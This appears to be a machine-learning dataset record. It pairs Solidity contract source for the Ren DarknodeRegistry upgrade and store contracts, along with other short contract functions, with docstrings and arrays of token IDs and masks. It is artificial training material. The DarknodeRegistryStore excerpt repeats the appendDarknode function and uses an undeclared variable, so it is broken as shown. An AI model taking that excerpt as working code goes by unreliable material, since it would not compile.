nPreviousEpoch += 1; } if (isRegistered(next)) { nCurrentEpoch += 1; } // Darknode is registered and has not deregistered, or is pending // becoming registered. if ( ((isRegistered(next) && !isPendingDeregistration(next)) || isPendingRegistration(next)) ) { nNextEpoch += 1; } next = store.next(next); } return (nPreviousEpoch, nCurrentEpoch, nNextEpoch); } } pragma solidity ^0.5.17; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol"; import "./DarknodeRegistry.sol"; import "../Governance/RenProxyAdmin.sol"; import "../RenToken/RenToken.sol"; import "./DarknodeRegistryV1ToV2Upgrader.sol"; contract DarknodeRegistryV1ToV2Preupgrader is Ownable { DarknodeRegistryLogicV1 public darknodeRegistryProxy; DarknodeRegistryV1ToV2Upgrader public upgrader; address public previousDarknodeRegistryOwner; constructor( DarknodeRegistryLogicV1 _darknodeRegistryProxy, DarknodeRegistryV1ToV2Upgrader _upgrader ) public { Ownable.initialize(msg.sender); darknodeRegistryProxy = _darknodeRegistryProxy; upgrader = _upgrader; previousDarknodeRegistryOwner = darknodeRegistryProxy.owner(); } function claimStoreOwnership() public { darknodeRegistryProxy.store().claimOwnership(); } function recover( address[] calldata _darknodeIDs, address _bondRecipient, bytes[] calldata _signatures ) external onlyOwner { forwardDNR(); RenToken ren = darknodeRegistryProxy.ren(); DarknodeRegistryStore store = darknodeRegistryProxy.store(); darknodeRegistryProxy.transferStoreOwnership( DarknodeRegistryLogicV1(address(this)) ); if (darknodeRegistryProxy.store().owner() != address(this)) { claimStoreOwnership(); } (, uint256 currentEpochBlocktime) = darknodeRegistryProxy .currentEpoch(); uint256 total = 0; for (uint8 i = 0; i < _darknodeIDs.length; i++) { address _darknodeID = _darknodeIDs[i]; // Require darknode to be refundable. { uint256 deregisteredAt = store.darknodeDeregisteredAt( _darknodeID ); bool deregistered = deregisteredAt != 0 && deregisteredAt <= currentEpochBlocktime; require( deregistered, "DarknodeRegistryV1Preupgrader: must be deregistered" ); } address darknodeOperator = store.darknodeOperator(_darknodeID); require( ECDSA.recover( keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n64", "DarknodeRegistry.recover", _darknodeID, _bondRecipient ) ), _signatures[i] ) == darknodeOperator, "DarknodeRegistryV1Preupgrader: invalid signature" ); // Remember the bond amount total += store.darknodeBond(_darknodeID); // Erase the darknode from the registry store.removeDarknode(_darknodeID); // // Refund the operator by transferring REN } require( ren.transfer(_bondRecipient, total), "DarknodeRegistryV1Preupgrader: bond transfer failed" ); store.transferOwnership(address(darknodeRegistryProxy)); darknodeRegistryProxy.claimStoreOwnership(); } function forwardDNR() public onlyOwner { // Claim ownership if (darknodeRegistryProxy.owner() != address(this)) { darknodeRegistryProxy.claimOwnership(); } // Set pending owner to upgrader. if (darknodeRegistryProxy.pendingOwner() != address(upgrader)) { darknodeRegistryProxy.transferOwnership(address(upgrader)); } } function returnDNR() public onlyOwner { darknodeRegistryProxy.transferOwnership(previousDarknodeRegistryOwner); } } pragma solidity ^0.5.17; import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol"; import "./DarknodeRegistry.sol"; import "../Governance/RenProxyAdmin.sol"; contract DarknodeRegistryV1ToV2Upgrader is Ownable { RenProxyAdmin public renProxyAdmin; DarknodeRegistryLogicV1 public darknodeRegistryProxy; DarknodeRegistryLogicV2 public darknodeRegistryLogicV2; address public previousAdminOwner; address public previousDarknodeRegistryOwner; constructor( RenProxyAdmin _renProxyAdmin, DarknodeRegistryLogicV1 _darknodeRegistryProxy, DarknodeRegistryLogicV2 _darknodeRegistryLogicV2 ) public { Ownable.initialize(msg.sender); renProxyAdmin = _renProxyAdmin; darknodeRegistryProxy = _darknodeRegistryProxy; darknodeRegistryLogicV2 = _darknodeRegistryLogicV2; previousAdminOwner = renProxyAdmin.owner(); previousDarknodeRegistryOwner = darknodeRegistryProxy.owner(); } function upgrade() public onlyOwner { // Pre-checks uint256 numDarknodes = darknodeRegistryProxy.numDarknodes(); uint256 numDarknodesNextEpoch = darknodeRegistryProxy .numDarknodesNextEpoch(); uint256 numDarknodesPreviousEpoch = darknodeRegistryProxy .numDarknodesPreviousEpoch(); uint256 minimumBond = darknodeRegistryProxy.minimumBond(); uint256 minimumPodSize = darknodeRegistryProxy.minimumPodSize(); uint256 minimumEpochInterval = darknodeRegistryProxy .minimumEpochInterval(); uint256 deregistrationInterval = darknodeRegistryProxy .deregistrationInterval(); RenToken ren = darknodeRegistryProxy.ren(); DarknodeRegistryStore store = darknodeRegistryProxy.store(); IDarknodePayment darknodePayment = darknodeRegistryProxy .darknodePayment(); // Claim and update. darknodeRegistryProxy.claimOwnership(); renProxyAdmin.upgrade( AdminUpgradeabilityProxy( // Cast gateway instance to payable address address(uint160(address(darknodeRegistryProxy))) ), address(darknodeRegistryLogicV2) ); // Post-checks require( numDarknodes == darknodeRegistryProxy.numDarknodes(), "Migrator: expected 'numDarknodes' not to change" ); require( numDarknodesNextEpoch == darknodeRegistryProxy.numDarknodesNextEpoch(), "Migrator: expected 'numDarknodesNextEpoch' not to change" ); require( numDarknodesPreviousEpoch == darknodeRegistryProxy.numDarknodesPreviousEpoch(), "Migrator: expected 'numDarknodesPreviousEpoch' not to change" ); require( minimumBond == darknodeRegistryProxy.minimumBond(), "Migrator: expected 'minimumBond' not to change" ); require( minimumPodSize == darknodeRegistryProxy.minimumPodSize(), "Migrator: expected 'minimumPodSize' not to change" ); require( minimumEpochInterval == darknodeRegistryProxy.minimumEpochInterval(), "Migrator: expected 'minimumEpochInterval' not to change" ); require( deregistrationInterval == darknodeRegistryProxy.deregistrationInterval(), "Migrator: expected 'deregistrationInterval' not to change" ); require( ren == darknodeRegistryProxy.ren(), "Migrator: expected 'ren' not to change" ); require( store == darknodeRegistryProxy.store(), "Migrator: expected 'store' not to change" ); require( darknodePayment == darknodeRegistryProxy.darknodePayment(), "Migrator: expected 'darknodePayment' not to change" ); darknodeRegistryProxy.updateSlasher(IDarknodeSlasher(0x0)); } function recover( address _darknodeID, address _bondRecipient, bytes calldata _signature ) external onlyOwner { return DarknodeRegistryLogicV2(address(darknodeRegistryProxy)).recover( _darknodeID, _bondRecipient, _signature ); } function returnDNR() public onlyOwner { darknodeRegistryProxy._directTransferOwnership( previousDarknodeRegistryOwner ); } function returnProxyAdmin() public onlyOwner { renProxyAdmin.transferOwnership(previousAdminOwner); } } pragma solidity 0.5.17; import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Initializable, Ownable { address public pendingOwner; function initialize(address _nextOwner) public initializer { Ownable.initialize(_nextOwner); } modifier onlyPendingOwner() { require( _msgSender() == pendingOwner, "Claimable: caller is not the pending owner" ); _; } function transferOwnership(address newOwner) public onlyOwner { require( newOwner != owner() && newOwner != pendingOwner, "Claimable: invalid new owner" ); pendingOwner = newOwner; } // Allow skipping two-step transfer if the recipient is known to be a valid // owner, for use in smart-contracts only. function _directTransferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function claimOwnership() public onlyPendingOwner { _transferOwnership(pendingOwner); delete pendingOwner; } } pragma solidity 0.5.17; import "@openzeppelin/upgrades/contracts/upgradeability/ProxyAdmin.sol"; /** * @title RenProxyAdmin * @dev Proxies restrict the proxy's owner from calling functions from the * delegate contract logic. The ProxyAdmin contract allows single account to be * the governance address of both the proxy and the delegate contract logic. */ /* solium-disable-next-line no-empty-blocks */ contract RenProxyAdmin is ProxyAdmin { } pragma solidity 0.5.17; import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Pausable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Burnable.sol"; contract RenToken is Ownable, ERC20Detailed, ERC20Pausable, ERC20Burnable { string private constant _name = "REN"; string private constant _symbol = "REN"; uint8 private constant _decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**uint256(_decimals); /// @notice The RenToken Constructor. constructor() public { ERC20Pausable.initialize(msg.sender); ERC20Detailed.initialize(_name, _symbol, _decimals); Ownable.initialize(msg.sender); _mint(msg.sender, INITIAL_SUPPLY); } function transferTokens(address beneficiary, uint256 amount) public onlyOwner returns (bool) { // Note: The deployed version has no revert reason /* solium-disable-next-line error-reason */ require(amount > 0); _transfer(msg.sender, beneficiary, amount); emit Transfer(msg.sender, beneficiary, amount); return true; } } pragma solidity 0.5.17; import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../Governance/Claimable.sol"; contract CanReclaimTokens is Claimable { using SafeERC20 for ERC20; mapping(address => bool) private recoverableTokensBlacklist; function initialize(address _nextOwner) public initializer { Claimable.initialize(_nextOwner); } function blacklistRecoverableToken(address _token) public onlyOwner { recoverableTokensBlacklist[_token] = true; } /// @notice Allow the owner of the contract to recover funds accidentally /// sent to the contract. To withdraw ETH, the token should be set to `0x0`. function recoverTokens(address _token) external onlyOwner { require( !recoverableTokensBlacklist[_token], "CanReclaimTokens: token is not recoverable" ); if (_token == address(0x0)) { msg.sender.transfer(address(this).balance); } else { ERC20(_token).safeTransfer( msg.sender, ERC20(_token).balanceOf(address(this)) ); } } } pragma solidity 0.5.17; /** * @notice LinkedList is a library for a circular double linked list. */ library LinkedList { /* * @notice A permanent NULL node (0x0) in the circular double linked list. * NULL.next is the head, and NULL.previous is the tail. */ address public constant NULL = address(0); /** * @notice A node points to the node before it, and the node after it. If * node.previous = NULL, then the node is the head of the list. If * node.next = NULL, then the node is the tail of the list. */ struct Node { bool inList; address previous; address next; } /** * @notice LinkedList uses a mapping from address to nodes. Each address * uniquely identifies a node, and in this way they are used like pointers. */ struct List { mapping(address => Node) list; uint256 length; } /** * @notice Insert a new node before an existing node. * * @param self The list being used. * @param target The existing node in the list. * @param newNode The next node to insert before the target. */ function insertBefore( List storage self, address target, address newNode ) internal { require(newNode != address(0), "LinkedList: invalid address"); require(!isInList(self, newNode), "LinkedList: already in list"); require( isInList(self, target) || target == NULL, "LinkedList: not in list" ); // It is expected that this value is sometimes NULL. address prev = self.list[target].previous; self.list[newNode].next = target; self.list[newNode].previous = prev; self.list[target].previous = newNode; self.list[prev].next = newNode; self.list[newNode].inList = true; self.length += 1; } /** * @notice Insert a new node after an existing node. * * @param self The list being used. * @param target The existing node in the list. * @param newNode The next node to insert after the target. */ function insertAfter( List storage self, address target, address newNode ) internal { require(newNode != address(0), "LinkedList: invalid address"); require(!isInList(self, newNode), "LinkedList: already in list"); require( isInList(self, target) || target == NULL, "LinkedList: not in list" ); // It is expected that this value is sometimes NULL. address n = self.list[target].next; self.list[newNode].previous = target; self.list[newNode].next = n; self.list[target].next = newNode; self.list[n].previous = newNode; self.list[newNode].inList = true; self.length += 1; } /** * @notice Remove a node from the list, and fix the previous and next * pointers that are pointing to the removed node. Removing anode that is not * in the list will do nothing. * * @param self The list being using. * @param node The node in the list to be removed. */ function remove(List storage self, address node) internal { require(isInList(self, node), "LinkedList: not in list"); address p = self.list[node].previous; address n = self.list[node].next; self.list[p].next = n; self.list[n].previous = p; // Deleting the node should set this value to false, but we set it here for // explicitness. self.list[node].inList = false; delete self.list[node]; self.length -= 1; } /** * @notice Insert a node at the beginning of the list. * * @param self The list being used. * @param node The node to insert at the beginning of the list. */ function prepend(List storage self, address node) internal { // isInList(node) is checked in insertBefore insertBefore(self, begin(self), node); } /** * @notice Insert a node at the end of the list. * * @param self The list being used. * @param node The node to insert at the end of the list. */ function append(List storage self, address node) internal { // isInList(node) is checked in insertBefore insertAfter(self, end(self), node); } function swap( List storage self, address left, address right ) internal { // isInList(left) and isInList(right) are checked in remove address previousRight = self.list[right].previous; remove(self, right); insertAfter(self, left, right); remove(self, left); insertAfter(self, previousRight, left); } function isInList(List storage self, address node) internal view returns (bool) { return self.list[node].inList; } /** * @notice Get the node at the beginning of a double linked list. * * @param self The list being used. * * @return A address identifying the node at the beginning of the double * linked list. */ function begin(List storage self) internal view returns (address) { return self.list[NULL].next; } /** * @notice Get the node at the end of a double linked list. * * @param self The list being used. * * @return A address identifying the node at the end of the double linked * list. */ function end(List storage self) internal view returns (address) { return self.list[NULL].previous; } function next(List storage self, address node) internal view returns (address) { require(isInList(self, node), "LinkedList: not in list"); return self.list[node].next; } function previous(List storage self, address node) internal view returns (address) { require(isInList(self, node), "LinkedList: not in list"); return self.list[node].previous; } function elements( List storage self, address _start, uint256 _count ) internal view returns (address[] memory) { require(_count > 0, "LinkedList: invalid count"); require( isInList(self, _start) || _start == address(0), "LinkedList: not in list" ); address[] memory elems = new address[](_count); // Begin with the first node in the list uint256 n = 0; address nextItem = _start; if (nextItem == address(0)) { nextItem = begin(self); } while (n < _count) { if (nextItem == address(0)) { break; } elems[n] = nextItem; nextItem = next(self, nextItem); n += 1; } return elems; } }
@notice This contract stores data and funds for the DarknodeRegistry contract. The data / fund logic and storage have been separated to improve upgradability.
contract DarknodeRegistryStore is Claimable, CanReclaimTokens { using SafeMath for uint256; struct Darknode { address payable owner; uint256 bond; uint256 registeredAt; uint256 deregisteredAt; bytes publicKey; } LinkedList.List private darknodes; mapping(address => Darknode) private darknodeRegistry; RenToken public ren; constructor(string memory _VERSION, RenToken _ren) public { Claimable.initialize(msg.sender); CanReclaimTokens.initialize(msg.sender); VERSION = _VERSION; ren = _ren; blacklistRecoverableToken(address(ren)); } function appendDarknode( address _darknodeID, address payable _darknodeOperator, uint256 _bond, bytes calldata _publicKey, uint256 _registeredAt, uint256 _deregisteredAt ) external onlyOwner { Darknode memory darknode = Darknode({ owner: _darknodeOperator, bond: _bond, publicKey: _publicKey, registeredAt: _registeredAt, deregisteredAt: _deregisteredAt }); darknodeRegistry[_darknodeID] = darknode; LinkedList.append(darknodes, _darknodeID); } function appendDarknode( address _darknodeID, address payable _darknodeOperator, uint256 _bond, bytes calldata _publicKey, uint256 _registeredAt, uint256 _deregisteredAt ) external onlyOwner { Darknode memory darknode = Darknode({ owner: _darknodeOperator, bond: _bond, publicKey: _publicKey, registeredAt: _registeredAt, deregisteredAt: _deregisteredAt }); darknodeRegistry[_darknodeID] = darknode; LinkedList.append(darknodes, _darknodeID); } function begin() external view onlyOwner returns (address) { return LinkedList.begin(darknodes); } function next(address darknodeID) external view onlyOwner returns (address) { return LinkedList.next(darknodes, darknodeID); } function removeDarknode(address darknodeID) external onlyOwner { uint256 bond = darknodeRegistry[darknodeID].bond; delete darknodeRegistry[darknodeID]; LinkedList.remove(darknodes, darknodeID); require( ren.transfer(owner(), bond), "DarknodeRegistryStore: bond transfer failed" ); } function updateDarknodeBond(address darknodeID, uint256 decreasedBond) external onlyOwner { uint256 previousBond = darknodeRegistry[darknodeID].bond; require( decreasedBond < previousBond, "DarknodeRegistryStore: bond not decreased" ); darknodeRegistry[darknodeID].bond = decreasedBond; require( ren.transfer(owner(), previousBond.sub(decreasedBond)), "DarknodeRegistryStore: bond transfer failed" ); } function updateDarknodeDeregisteredAt( address darknodeID, uint256 deregisteredAt ) external onlyOwner { darknodeRegistry[darknodeID].deregisteredAt = deregisteredAt; } function darknodeOperator(address darknodeID) external view onlyOwner returns (address payable) { return darknodeRegistry[darknodeID].owner; } function darknodeBond(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].bond; } function darknodeRegisteredAt(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].registeredAt; } function darknodeDeregisteredAt(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].deregisteredAt; } function darknodePublicKey(address darknodeID) external view onlyOwner returns (bytes memory) { return darknodeRegistry[darknodeID].publicKey; } }
287,290
[ 1, 2503, 6835, 9064, 501, 471, 284, 19156, 364, 326, 463, 1313, 2159, 4243, 6835, 18, 1021, 501, 342, 284, 1074, 4058, 471, 2502, 1240, 2118, 8936, 358, 21171, 731, 9974, 2967, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 463, 1313, 2159, 4243, 2257, 353, 18381, 429, 16, 4480, 426, 14784, 5157, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 203, 565, 1958, 463, 1313, 2159, 288, 203, 3639, 1758, 8843, 429, 3410, 31, 203, 3639, 2254, 5034, 8427, 31, 203, 3639, 2254, 5034, 4104, 861, 31, 203, 3639, 2254, 5034, 24310, 329, 861, 31, 203, 3639, 1731, 12085, 31, 203, 565, 289, 203, 203, 565, 10688, 18, 682, 3238, 23433, 4690, 31, 203, 203, 203, 565, 2874, 12, 2867, 516, 463, 1313, 2159, 13, 3238, 23433, 2159, 4243, 31, 203, 565, 25921, 1345, 1071, 1654, 31, 203, 565, 3885, 12, 1080, 3778, 389, 5757, 16, 25921, 1345, 389, 1187, 13, 1071, 288, 203, 3639, 18381, 429, 18, 11160, 12, 3576, 18, 15330, 1769, 203, 3639, 4480, 426, 14784, 5157, 18, 11160, 12, 3576, 18, 15330, 1769, 203, 3639, 8456, 273, 389, 5757, 31, 203, 3639, 1654, 273, 389, 1187, 31, 203, 3639, 11709, 426, 17399, 1345, 12, 2867, 12, 1187, 10019, 203, 565, 289, 203, 203, 565, 445, 714, 40, 1313, 2159, 12, 203, 3639, 1758, 389, 25045, 2159, 734, 16, 203, 3639, 1758, 8843, 429, 389, 25045, 2159, 5592, 16, 203, 3639, 2254, 5034, 389, 26425, 16, 203, 3639, 1731, 745, 892, 389, 482, 653, 16, 203, 3639, 2254, 5034, 389, 14327, 861, 16, 203, 3639, 2254, 5034, 389, 765, 1332, 1249, 329, 861, 203, 565, 262, 3903, 1338, 5541, 288, 203, 3639, 463, 1313, 2159, 3778, 23433, 2159, 273, 203, 5411, 463, 1313, 2159, 12590, 2 ]
./full_match/421613/0x5F3A1404ab755929972D8A6140E5b7dD0c2e2b2c/sources/project_/contracts/questsV2/QuestsV2.sol
@dev Remove an item from a explorers inventory at the end of a quest @param tokenID Explorers ID Store the itemID of the active item Check if there's a land item in use Remove the internal value, resetting the item on the quest Release the item Check if there's a hazard item in use Remove the internal value, resetting the item on the quest Release the item
function releaseItems(uint256 tokenID) private { uint256 landItemID = landItemOnQuest[tokenID]; uint256 hazardItemID = hazardItemOnQuest[tokenID]; if (landItemID > 0) { landItemOnQuest[tokenID] = 0; itemsContract.setItemInUse(_msgSender(), tokenID, landItemID, 1, false); } if (hazardItemID > 0) { hazardItemOnQuest[tokenID] = 0; itemsContract.setItemInUse(_msgSender(), tokenID, hazardItemID, 1, false); } }
11,582,467
[ 1, 3288, 392, 761, 628, 279, 22991, 280, 414, 13086, 622, 326, 679, 434, 279, 225, 456, 225, 1147, 734, 1312, 412, 280, 414, 1599, 4994, 326, 761, 734, 434, 326, 2695, 761, 2073, 309, 1915, 1807, 279, 19193, 761, 316, 999, 3581, 326, 2713, 460, 16, 30691, 326, 761, 603, 326, 225, 456, 10819, 326, 761, 2073, 309, 1915, 1807, 279, 15786, 761, 316, 999, 3581, 326, 2713, 460, 16, 30691, 326, 761, 603, 326, 225, 456, 10819, 326, 761, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3992, 3126, 12, 11890, 5034, 1147, 734, 13, 203, 3639, 3238, 203, 565, 288, 203, 3639, 2254, 5034, 19193, 1180, 734, 273, 19193, 1180, 1398, 30791, 63, 2316, 734, 15533, 203, 3639, 2254, 5034, 15786, 1180, 734, 273, 15786, 1180, 1398, 30791, 63, 2316, 734, 15533, 203, 3639, 309, 261, 15733, 1180, 734, 405, 374, 13, 288, 203, 5411, 19193, 1180, 1398, 30791, 63, 2316, 734, 65, 273, 374, 31, 203, 5411, 1516, 8924, 18, 542, 1180, 15435, 24899, 3576, 12021, 9334, 1147, 734, 16, 19193, 1180, 734, 16, 404, 16, 629, 1769, 203, 3639, 289, 203, 3639, 309, 261, 25150, 1180, 734, 405, 374, 13, 288, 203, 5411, 15786, 1180, 1398, 30791, 63, 2316, 734, 65, 273, 374, 31, 203, 5411, 1516, 8924, 18, 542, 1180, 15435, 24899, 3576, 12021, 9334, 1147, 734, 16, 15786, 1180, 734, 16, 404, 16, 629, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xC6713e9Bdc0B2f9fb50998F09e0Db16D7528E059/sources/contracts/Liquidity.sol
@notice Remove an address from the whitelist @param _address The address to be removed from the whitelist
function removeWhitelist(address _address) public override onlyOwner { _removeWhitelist(_address); }
2,942,194
[ 1, 3288, 392, 1758, 628, 326, 10734, 225, 389, 2867, 1021, 1758, 358, 506, 3723, 628, 326, 10734, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1206, 18927, 12, 2867, 389, 2867, 13, 1071, 3849, 1338, 5541, 288, 203, 565, 389, 4479, 18927, 24899, 2867, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* From Noodle Fans, To the World Website: https://gyudon.farm || Telegram: t.me/gyudonfarm */ pragma solidity ^0.6.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction 